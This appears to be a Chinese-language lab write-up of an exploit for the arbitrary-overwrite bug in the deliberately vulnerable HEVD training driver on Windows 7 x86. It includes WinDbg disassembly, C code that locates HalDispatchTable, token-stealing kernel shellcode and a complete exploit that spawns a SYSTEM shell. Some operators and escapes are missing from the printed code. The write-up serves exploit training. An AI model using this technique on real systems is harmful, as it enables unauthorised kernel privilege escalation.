漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]

作者：selph

前言

窥探Ring0漏洞世界：任意内存覆盖

实验环境：

•虚拟机：Windows 7 x86

•物理机：Windows 10 x64

•软件：IDA，Windbg，VS2022

漏洞分析

本次实验内容是ArbitraryOverwrite

首先用IDA打开HEVD.sys，搜索IrpDeviceIoCtlHandler

本次实验的是第三个样例，IRP分发函数通过跳转表进行跳转，两项之间的控制码相差4，所以本次实验使用的控制码是：0x22200b，漏洞触发代码：

代码功能是参数提供一个结构，结构里包含一个写入地址，一个写入内容地址，向写入地址里写入指定的内容（4字节），只要能覆盖一个要执行的函数的地址，然后执行这个函数的时候就会调用到内核态的shellcode上去，由此这是个任意地址写入漏洞

漏洞利用

内核提权--HalDispatchTable

HalDispatchTable是内核中的一个系统调用表，当获得任意地址写的能力之后，可以使用shellcode地址覆盖HalDispatchTable第二个成员处的HalQuerySystemInformation函数地址：

然后调用NtQueryIntervalProfile函数，就会通过该表获取地址进行调用，windbg查看该函数：

kd> uf nt!NtQueryIntervalProfile nt!NtQueryIntervalProfile: ... nt!NtQueryIntervalProfile 0x5d: 8411cec8 8b4508 mov eax,dword ptr [ebp 8] 8411cecb 85c0 test eax,eax 8411cecd 7507 jne nt!NtQueryIntervalProfile 0x6b (8411ced6) Branch nt!NtQueryIntervalProfile 0x64: 8411cecf a1acabf383 mov eax,dword ptr [nt!KiProfileInterval (83f3abac)] 8411ced4 eb05 jmp nt!NtQueryIntervalProfile 0x70 (8411cedb) Branch nt!NtQueryIntervalProfile 0x6b: 8411ced6 e83ae5fbff call nt!KeQueryIntervalProfile (840db415)

中间省略无关内容，这个函数里只进行了一次call指令调用KeQueryIntervalProfile：

kd> uf nt!KeQueryIntervalProfile ... nt!KeQueryIntervalProfile 0x14: 840db429 8945f0 mov dword ptr [ebp-10h],eax 840db42c 8d45fc lea eax,[ebp-4] 840db42f 50 push eax 840db430 8d45f0 lea eax,[ebp-10h] 840db433 50 push eax 840db434 6a0c push 0Ch 840db436 6a01 push 1 840db438 ff15fcb3f383 call dword ptr [nt!HalDispatchTable 0x4 (83f3b3fc)] 840db43e 85c0 test eax,eax 840db440 7c0b jl nt!KeQueryIntervalProfile 0x38 (840db44d) Branch nt!KeQueryIntervalProfile 0x2d: 840db442 807df400 cmp byte ptr [ebp-0Ch],0 840db446 7405 je nt!KeQueryIntervalProfile 0x38 (840db44d) Branch nt!KeQueryIntervalProfile 0x33: 840db448 8b45f8 mov eax,dword ptr [ebp-8] 840db44b c9 leave 840db44c c3 ret nt!KeQueryIntervalProfile 0x38: 840db44d 33c0 xor eax,eax 840db44f c9 leave 840db450 c3 ret

这个函数里依然进行了一次call指令，可以看到调用的是HalDispatchTable 4的函数，也正是我们要进行覆盖的函数，这个函数不管返回什么，都不会使得后续产生什么不良影响（也就是说，选择覆盖这个函数主要是覆盖不会影响系统奔溃）

到这里进行利用的思路已经逐渐清晰了起来，第一步：找到HalDispatchTable地址

找到HalDispatchTable地址

查阅资料[1]可知：

1.找到内核模块ntkrnlpa.exe的内核基址：使用EnumDeviceDrivers函数枚举配合GetDeviceDriverBaseNameA函数获取模块名称进行判断

2.用户模式加载内核模块ntkrnlpa.exe，通过GetProcAddress函数获取HalDispatchTable的地址，计算出与基址的偏移量

3.计算HalDispatchTable在内核模块的地址：基址 偏移

实现如下：

//获取驱动模块基地址 LPVOID GetDriverBase(LPCSTR lpDriverName) { LPVOID lpImageBase[1024]; DWORD lpcbNeeded; char lpfileName[1024]; //Retrieves the load address for each device driver in the system EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded); for (int i = 0; i < 1024; i ) { //Retrieves the base name of the specified device driver GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if (!strcmp(lpfileName, lpDriverName)) { printf("[ ]success to get %sn", lpfileName); return lpImageBase[i]; } } return NULL; } // 计算内核HalDispatchTable地址 PVOID GetHalDispatchTable() { LPVOID pKernelBase = GetDriverBase("ntkrnlpa.exe"); HMODULE pUserBase = LoadLibraryA("ntkrnlpa.exe"); PVOID pUserHalDispatchTable = GetProcAddress(pUserBase, "HalDispatchTable"); DWORD dwOffset = (DWORD)pUserHalDispatchTable - (DWORD)pUserBase; PVOID pKernelHalDispatchTable = (PVOID)((DWORD)pKernelBase dwOffset); return pKernelHalDispatchTable; }

构造利用代码：

不用管返回值，只需要执行完令牌替换就行：

VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { pushad ;获取当前进程EPROCESS xor eax, eax mov eax, fs: [eax KTHREAD_OFFSET] mov eax, [eax EPROCESS_OFFSET] mov ecx, eax ;搜索system进程EPROCESS mov edx, SYSTEM_PID SearchSystemPID : mov eax, [eax FLINK_OFFSET] sub eax, FLINK_OFFSET cmp[eax PID_OFFSET], edx jne SearchSystemPID ; token窃取 mov edx, [eax TOKEN_OFFSET] mov[ecx TOKEN_OFFSET], edx ;环境还原   返回 popad } }

编写exp

要调用的是ntdll.dll里的函数NtQueryIntervalProfile，因为没法直接用，所以需要间接获取地址，构造函数指针进行调用，整体利用流程如下：

typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); int main() { ULONG UserBufferSize = sizeof(WRITE_WHAT_WHERE); PVOID EopPayload = &TokenStealingPayloadWin7; HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR]Open Device Errorrn"); system("pause"); exit(1); } else { printf("[INFO]Device Handle: 0x%Xn", hDevice); } WRITE_WHAT_WHERE* UserBuffer = (WRITE_WHAT_WHERE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); if (!UserBuffer) { printf("[ERROR]Allocate ERROR"); system("pause"); exit(1); } else { printf("[INFO]Allocated Memory: 0x%pn", UserBuffer); printf("[INFO]Allocation Size: 0x%Xn", UserBufferSize); } PVOID HalDispatchTable = GetHalDispatchTable(); UserBuffer->What = (PULONG_PTR)&EopPayload; UserBuffer->Where = (PULONG_PTR)((DWORD)HalDispatchTable sizeof(PVOID)); ULONG WriteRet = 0; DeviceIoControl(hDevice, 0x222003 4*2, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); // 触发漏洞 HMODULE hNtDll = LoadLibraryA("ntdll.dll"); NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile"); ULONG Interval = 0; NtQueryIntervalProfile(0x1337, &Interval); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; system("pause"); system("cmd.exe"); return 0; }

效果展示

参考资料

•[1] windows提权基础知识 - 食兔人的博客 (ycdxsb.cn) https://blog.ycdxsb.cn/2acbaae3.html

•[2] HAL_DISPATCH (geoffchappell.com) https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/hal/hal_dispatch.htm

•[3] FuzzySecurity | Windows ExploitDev: Part 11 https://www.fuzzysecurity.com/tutorials/expDev/15.html

•[4] [原创]Windows Kernel Exploit 内核漏洞学习(3)-任意内存覆盖漏洞-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com https://bbs.pediy.com/thread-252506.htm